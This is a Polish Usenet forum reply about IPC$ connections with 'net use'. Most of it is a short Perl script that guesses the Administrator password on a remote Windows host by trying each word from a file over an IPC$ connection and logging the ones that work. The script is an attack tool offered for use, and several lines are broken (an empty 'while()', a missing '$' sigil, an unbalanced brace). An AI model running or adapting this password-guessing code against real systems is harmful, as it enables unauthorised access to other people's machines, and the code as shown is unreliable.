Re: net use i IPC$

 "Tomasz Onyszko" log:
[...]
> to by nie bylo na tyle bo podlaczenie do IPC$ nie powoduje
> podlaczenia do zasobu zadnej pratycji, potem mozesz dodatkowo uzyc
> \\ip\c$ ale to ze sie do tego zasobu dostajesz jest wynikiem tego
> ze podlaczyles sie do IPC$
Niemożliwe. Myślałem, że jednak...! ;-)
-------
open(TEST, "Nazwy.txt") || die "Nie moge otworzyc pliku.";
open(LOG,">>ipc.log") || die "Nie moge otworzyc Log";
if (length($ARGV[0]) == 0) {
  print "Usage: perl ipcchk.plx [ipaddr]";
  exit(0);
}
$server = ARGV[0];
while() {
  $name = $_;
  chop($name);
# print "net use \\\\$server\\ipc\$ /user:Administrator $name | \n";
  open(IPC, "net use \\\\$server\\ipc\$ /user:Administrator $name | ");
  while() {
    if (grep(/successfully/,$_)) {
       print LOG "$server accepts connections for password $name\n";
       open(DEL, "net use \\\\$server\\ipc\$ /d | ");
    }
}
--------
TNT

-- 
Kto mi skasował net use...?!